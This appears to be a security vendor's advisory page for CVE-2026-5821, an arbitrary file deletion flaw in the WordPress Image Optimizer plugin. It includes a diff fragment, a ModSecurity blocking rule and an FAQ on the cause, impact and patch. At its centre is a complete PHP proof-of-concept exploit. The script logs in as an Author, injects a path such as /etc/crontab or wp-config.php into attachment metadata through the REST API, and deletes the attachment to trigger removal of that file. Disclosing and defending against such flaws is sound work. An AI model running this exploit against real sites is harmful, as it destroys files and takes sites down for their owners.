-            $loader->classMap = ComposerStaticInit3f788059a7e8b2f875a2ca5524591a10::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInitf50187bd650e25c9ade76b058766d871::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInitf50187bd650e25c9ade76b058766d871::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInitf50187bd650e25c9ade76b058766d871::$classMap;

         }, null, ClassLoader::class);
     }
--- a/image-optimization/vendor/composer/installed.php
+++ b/image-optimization/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'elementor/image-optimizer',
         'pretty_version' => 'dev-main',
         'version' => 'dev-main',
-        'reference' => '36bec09d720305e7186c67761e3369a375278875',
+        'reference' => 'b5321ff5f84292c751460425698d3257aebf6653',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         'elementor/image-optimizer' => array(
             'pretty_version' => 'dev-main',
             'version' => 'dev-main',
-            'reference' => '36bec09d720305e7186c67761e3369a375278875',
+            'reference' => 'b5321ff5f84292c751460425698d3257aebf6653',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
@@ -29,8 +29,8 @@
             'dev_requirement' => false,
         ),
         'elementor/wp-one-package' => array(
-            'pretty_version' => '1.0.59',
-            'version' => '1.0.59.0',
+            'pretty_version' => '1.0.62',
+            'version' => '1.0.62.0',
             'reference' => null,
             'type' => 'library',
             'install_path' => __DIR__ . '/../elementor/wp-one-package',
--- a/image-optimization/vendor/elementor/wp-one-package/runner.php
+++ b/image-optimization/vendor/elementor/wp-one-package/runner.php
@@ -30,24 +30,24 @@

 $pattern = '#/([^/]+)/vendor/elementor/#';
 if ( preg_match( $pattern, __DIR__, $matches ) ) {
-	$wp_one_package_versions[ $matches[1] ] = '1.0.59';
+	$wp_one_package_versions[ $matches[1] ] = '1.0.62';
 }

-if ( ! function_exists( 'elementor_one_register_1_dot_0_dot_59' ) && function_exists( 'add_action' ) ) {
+if ( ! function_exists( 'elementor_one_register_1_dot_0_dot_62' ) && function_exists( 'add_action' ) ) {

 	if ( ! class_exists( 'ElementorOneVersions', false ) ) {
 		require_once __DIR__ . '/src/Versions.php';
 		add_action( 'plugins_loaded', [ ElementorOneVersions::class, 'initialize_latest_version' ], -15, 0 );
 	}

-	add_action( 'plugins_loaded', 'elementor_one_register_1_dot_0_dot_59', -20, 0 );
+	add_action( 'plugins_loaded', 'elementor_one_register_1_dot_0_dot_62', -20, 0 );

-	function elementor_one_register_1_dot_0_dot_59() {
+	function elementor_one_register_1_dot_0_dot_62() {
 		$versions = ElementorOneVersions::instance();
-		$versions->register( '1.0.59', 'elementor_one_initialize_1_dot_0_dot_59' );
+		$versions->register( '1.0.62', 'elementor_one_initialize_1_dot_0_dot_62' );
 	}

-	function elementor_one_initialize_1_dot_0_dot_59() {
+	function elementor_one_initialize_1_dot_0_dot_62() {
 		// The Loader class will be autoloaded from the highest version source
 		ElementorOneLoader::init();
 	}
--- a/image-optimization/vendor/elementor/wp-one-package/src/Admin/Components/Onboarding.php
+++ b/image-optimization/vendor/elementor/wp-one-package/src/Admin/Components/Onboarding.php
@@ -14,8 +14,6 @@
  */
 class Onboarding {

-	const SETTING_ONBOARDING_COMPLETED = Fields::SETTING_PREFIX . 'onboarding_completed';
-
 	/**
 	 * Instance
 	 * @var Onboarding|null
@@ -39,11 +37,8 @@
 	 * @return void
 	 */
 	public function on_connect( Facade $facade ): void {
-		$option_updated = update_option( self::SETTING_ONBOARDING_COMPLETED, true );
-		if ( true === $option_updated ) {
-			wp_safe_redirect( $facade->utils()->get_admin_url() . '#/home/onboarding' );
-			exit;
-		}
+		wp_safe_redirect( $facade->utils()->get_admin_url() . '#/home/onboarding' );
+		exit;
 	}

 	/**
--- a/image-optimization/vendor/elementor/wp-one-package/src/Common/SupportedPlugins.php
+++ b/image-optimization/vendor/elementor/wp-one-package/src/Common/SupportedPlugins.php
@@ -17,4 +17,5 @@
 	const SITE_MAILER = 'site-mailer';
 	const IMAGE_OPTIMIZATION = 'image-optimization';
 	const POJO_ACCESSIBILITY = 'pojo-accessibility';
+	const COOKIEZ = 'cookiez';
 }

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2026-5821
# This rule blocks exploitation of arbitrary file deletion via the image_optimizer_metadata post meta.
# The attack uses the WordPress REST API to inject malicious paths into the meta field.
# We block POST requests to the media endpoint that contain the meta key with an absolute path.
SecRule REQUEST_URI "@rx ^/wp-json/wp/v2/media/d+" 
  "id:20265821,phase:2,deny,status:403,chain,msg:'CVE-2026-5821 - Image Optimizer arbitrary file deletion via meta injection',severity:'CRITICAL',tag:'CVE-2026-5821'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule ARGS:meta.image_optimizer_metadata "@rx backups.*full.*/" 
      "t:none,t:urlDecode,t:removeNulls"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-5821 - Image Optimizer <= 1.7.4 - Authenticated (Author+) Arbitrary File Deletion

$target_url = 'http://example.com'; // Change this to the target WordPress site
$username = 'author_user';
$password = 'author_pass';

// File to delete (must be writable by web server)
$file_to_delete = '/etc/crontab'; // Example: '/var/www/html/wp-config.php'

// Step 1: Login and get cookies/nonce
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In&redirect_to=' . urlencode($target_url . '/wp-admin/') . '&testcookie=1');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
$response = curl_exec($ch);
curl_close($ch);

// Extract cookie
preg_match('/^Set-Cookie: (.*)/mi', $response, $matches);
$cookie = trim($matches[1]);

// Step 2: Get wpnonce for media upload (or just create attachment via REST)
// For simplicity, we use media-new.php to get a nonce for uploading
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/media-new.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
$response = curl_exec($ch);
curl_close($ch);

// Extract ajax nonce for upload (not always needed but included for completeness)
preg_match('/"_ajax_nonce":"([^"]+)"/', $response, $matches);
$ajax_nonce = $matches[1] ?? '';

// Step 3: Upload a dummy attachment to get a real attachment ID
// We need an actual attachment post to modify its meta
$file = tempnam(sys_get_temp_dir(), 'php');
file_put_contents($file, 'dummy image content');
$cfile = new CURLFile($file, 'image/jpeg', 'test.jpg');

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/async-upload.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'async-upload' => $cfile,
    'name' => 'test.jpg',
    '_wpnonce' => $ajax_nonce,
    'action' => 'upload-attachment'
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
$response = curl_exec($ch);
curl_close($ch);
unlink($file);

// Parse response for attachment ID
$data = json_decode($response, true);
if (!$data || !isset($data['id'])) {
    die('[!] Failed to upload attachment. Check credentials or target URL.n');
}
$attachment_id = $data['id'];
echo "[+] Created attachment ID: $attachment_idn";

// Step 4: Get the REST API nonce for editing meta
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'action=rest-nonce');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
$response = curl_exec($ch);
curl_close($ch);
$rest_nonce = trim($response);
echo "[+] REST nonce: $rest_noncen";

// Step 5: Inject malicious backup path via REST API meta update
$meta_value = serialize(['backups' => ['full' => $file_to_delete]]);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/wp/v2/media/' . $attachment_id);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([
    'meta' => [
        'image_optimizer_metadata' => $meta_value
    ]
]));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $rest_nonce
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code !== 200) {
    echo "[!] Failed to update meta. HTTP code: $http_coden";
    exit(1);
}
echo "[+] Injected malicious backup path: $file_to_deleten";

// Step 6: Delete the attachment to trigger file deletion
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/wp/v2/media/' . $attachment_id);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'DELETE');
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'X-WP-Nonce: ' . $rest_nonce
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code === 200) {
    echo "[+] Attachment deleted. File $file_to_delete should now be removed.n";
} else {
    echo "[!] Delete may have failed. HTTP code: $http_coden";
    echo "Response: $responsen";
}

Frequently Asked Questions

What is CVE-2026-5821?
Vulnerability Overview
CVE-2026-5821 is a high-severity arbitrary file deletion vulnerability in the Image Optimizer plugin for WordPress, affecting versions up to and including 1.7.4. It allows authenticated attackers with Author-level access to delete arbitrary files on the server by injecting malicious backup paths into post meta fields.
How does the vulnerability work?
Technical Mechanism
The plugin stores backup file paths in the image_optimizer_metadata post meta field and uses them directly in file deletion operations without validating that the paths are within the uploads directory. An attacker can edit this meta field on their own attachments via the Custom Fields interface, injecting arbitrary absolute file paths. When the attachment is deleted, the plugin deletes those files.
Who is affected by this vulnerability?
Affected Users and Roles
Any WordPress site running Image Optimizer version 1.7.4 or earlier is affected. The vulnerability can be exploited by authenticated users with Author-level access or higher, meaning any user who can upload and edit attachments is a potential threat.
How can I check if my site is vulnerable?
Detection Steps
Check the installed version of the Image Optimizer plugin in your WordPress admin dashboard under Plugins. If the version is 1.7.4 or lower, your site is vulnerable. You can also verify by looking for the file image-optimization/classes/image/image-backup.php and checking if it uses direct File_System::delete() calls without path validation.
What is the CVSS score and what does it mean?
Risk Assessment
The CVSS score is 8.1, which is classified as High severity. This indicates a significant risk because an attacker can delete critical files like wp-config.php, causing complete site destruction or denial of service. The attack requires authentication but only at the Author level, which is relatively low.
What files can an attacker delete?
Impact Scope
An attacker can delete any file that the web server user has write permissions to, including wp-config.php, .htaccess, plugin and theme files, and potentially system files like /etc/crontab. This can lead to site takeover, data loss, or denial of service.
How was the vulnerability fixed in version 1.7.5?
Patch Analysis
The patch introduces a new class Image_Backup_Path_Validator that validates backup paths by resolving them with realpath() and checking if they reside within the WordPress uploads directory. The vulnerable Image_Backup::remove() function now calls this validator before any file deletion, skipping invalid paths and logging a warning.
How can I mitigate the vulnerability if I cannot update immediately?
Temporary Mitigations
As a temporary measure, you can disable the Image Optimizer plugin or restrict Author-level users from editing post meta fields. You can also use a security plugin to monitor file deletions or implement a web application firewall rule to block malicious meta values. However, updating to version 1.7.5 is the recommended fix.
How does the proof of concept demonstrate the exploit?
PoC Explanation
The proof of concept script logs in as an Author, uploads an attachment, modifies the image_optimizer_metadata meta field to include an arbitrary file path (e.g., /etc/crontab), and then deletes the attachment. This triggers the plugin to delete the specified file, confirming the vulnerability.
What is the root cause of this vulnerability?
Root Cause Analysis
The root cause is insufficient path validation in the Image_Backup::remove() function. The plugin trusts backup paths stored in post meta without verifying they are within the uploads directory, allowing attackers to inject arbitrary paths. This is classified under CWE-73 (External Control of File Name or Path).
Are there any prerequisites for exploitation?
Exploitation Requirements
Yes, the attacker must have an account with Author-level access or higher on the WordPress site. They also need the ability to upload attachments and edit custom fields, which is available by default to Authors. No other special privileges are required.
What should I do if I suspect my site has been compromised?
Incident Response
Immediately update the Image Optimizer plugin to version 1.7.5 or later. Review your server logs for unusual file deletion activities and check for modified or deleted critical files. Change all user passwords, especially for Author and higher roles, and consider restoring from a backup if necessary.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started